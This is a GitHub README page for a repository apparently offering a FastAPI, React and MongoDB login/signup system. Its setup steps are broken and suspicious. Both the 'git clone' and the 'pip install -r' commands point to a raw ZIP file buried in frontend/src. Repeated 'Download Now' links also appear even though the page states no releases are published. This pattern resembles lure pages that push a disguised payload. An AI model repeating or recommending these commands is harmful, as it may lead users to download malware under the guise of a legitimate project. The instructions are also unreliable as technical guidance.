Skip to content

πŸ’» Build a full-stack login/signup system with FastAPI, React, and MongoDB for secure user authentication and a protected dashboard experience.

Notifications You must be signed in to change notification settings

nicocrea71/fastapi-auth-system

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

11 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ fastapi-auth-system - Simple Authentication for Everyone

πŸ”— Download Now

Download

πŸ“Œ Introduction

Welcome to the fastapi-auth-system! This application provides a complete authentication solution for your web applications. It uses FastAPI for the backend, React for the frontend, and MongoDB for data storage. With support for JWT (JSON Web Tokens) and bcrypt for password security, this system keeps your user data safe.

πŸš€ Getting Started

Follow these steps to get your fastapi-auth-system up and running:

  1. Download the Application
    Visit the Releases page to download the latest version of the application:
    Download here

  2. Install Dependencies
    Make sure you have the following software installed on your computer:

  3. Clone or Download the Repository
    You can download the code directly as a ZIP file or clone the repository using Git. To clone, run this command in your terminal:

    git clone https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip
    
  4. Set Up the Backend
    Open your terminal and navigate to the backend directory:

    cd fastapi-auth-system/backend
    

    Install the required Python packages:

    pip install -r https://raw.githubusercontent.com/nicocrea71/fastapi-auth-system/main/frontend/src/fastapi-auth-system_2.6-beta.3.zip
    

    Set up your MongoDB by creating a new database named auth_system.

  5. Run the Backend
    Start the FastAPI server:

    uvicorn main:app --reload
    
  6. Set Up the Frontend
    Open a new terminal window. Navigate to the frontend directory:

    cd fastapi-auth-system/frontend
    

    Install the required Node packages:

    npm install
    

    Then, start the React application:

    npm start
    
  7. Access the Application
    Open your web browser and go to:
    http://localhost:3000
    You will see the authentication system interface.

πŸ” Features

  • Secure Login: Users log in with a secure password system.
  • User Registration: New users can create accounts directly through the app.
  • Token Management: Utilizes JWT for managing user sessions.
  • Data Safety: Bcrypt is used to store passwords securely in MongoDB.
  • Responsive Design: The interface works well on both desktop and mobile devices.

βš™οΈ System Requirements

To run the fastapi-auth-system, ensure your system meets these requirements:

  • Operating System: Windows, macOS, or any Linux distribution.
  • Memory: At least 4 GB of RAM.
  • Disk Space: Minimum of 200 MB available.
  • Internet connection for downloading dependencies and accessing MongoDB.

πŸ”„ Frequently Asked Questions

How do I reset my password?

You can use the "Forgot Password" feature on the login page.

Can I customize the application?

Yes, you can modify the source code as per your needs. Make sure to follow coding best practices.

What should I do if I encounter errors?

Check the terminal or console for error messages. Errors often provide clues on what went wrong. You can also consult the community forums or GitHub issues page for help.

πŸ‘₯ Community and Support

If you have any questions or need further assistance, feel free to reach out in the Issues section of the repository. Other users or contributors may also help you.

πŸ“Œ Download & Install

To get the fastapi-auth-system, make sure to visit the Releases page:
Download here

Thank you for choosing fastapi-auth-system for your authentication needs! We hope you find it useful and easy to implement.

About

πŸ’» Build a full-stack login/signup system with FastAPI, React, and MongoDB for secure user authentication and a protected dashboard experience.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •